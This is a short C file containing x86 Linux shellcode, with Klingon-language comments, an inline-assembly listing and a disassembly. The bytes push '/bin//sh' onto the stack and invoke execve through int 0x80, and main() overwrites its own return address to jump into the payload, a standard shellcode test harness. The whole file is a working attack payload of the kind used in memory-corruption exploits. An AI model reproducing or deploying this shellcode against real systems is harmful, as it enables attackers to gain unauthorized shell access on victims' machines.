/* * Sujatlh 'e' yImevi. tlhIngan maH! * Dochvam shellcode.. yIDoghQo', buy' ngop Heghlu'meH QaQ jajvam. * * __asm__( "pushl $0x80cd0b42\n" * "pushl $0x8de18953\n" * "pushl $0x52e38969\n" * "pushl $0x622f2f68\n" * "pushl $0x68732f6e\n" * "pushl $0x6852d231\n" * "pushl %%esp\n" * "ret\n" : : ); * * 8048318: 68 42 0b cd 80 push $0x80cd0b42 * 804831d: 68 53 89 e1 8d push $0x8de18953 * 8048322: 68 69 89 e3 52 push $0x52e38969 * 8048327: 68 68 2f 2f 62 push $0x622f2f68 * 804832c: 68 6e 2f 73 68 push $0x68732f6e * 8048331: 68 31 d2 52 68 push $0x6852d231 * 8048336: 54 push %esp * 8048337: c3 ret * */ char klingon[]= "\x68\x42\x0b\xcd\x80\x68\x53\x89\xe1\x8d\x68\x69\x89\xe3\x52" "\x68\x68\x2f\x2f\x62\x68\x6e\x2f\x73\x68\x68\x31\xd2\x52\x68" "\x54\xc3"; main() { long *ret; ret = (long *)&ret + 2; (*ret) = (long)klingon; }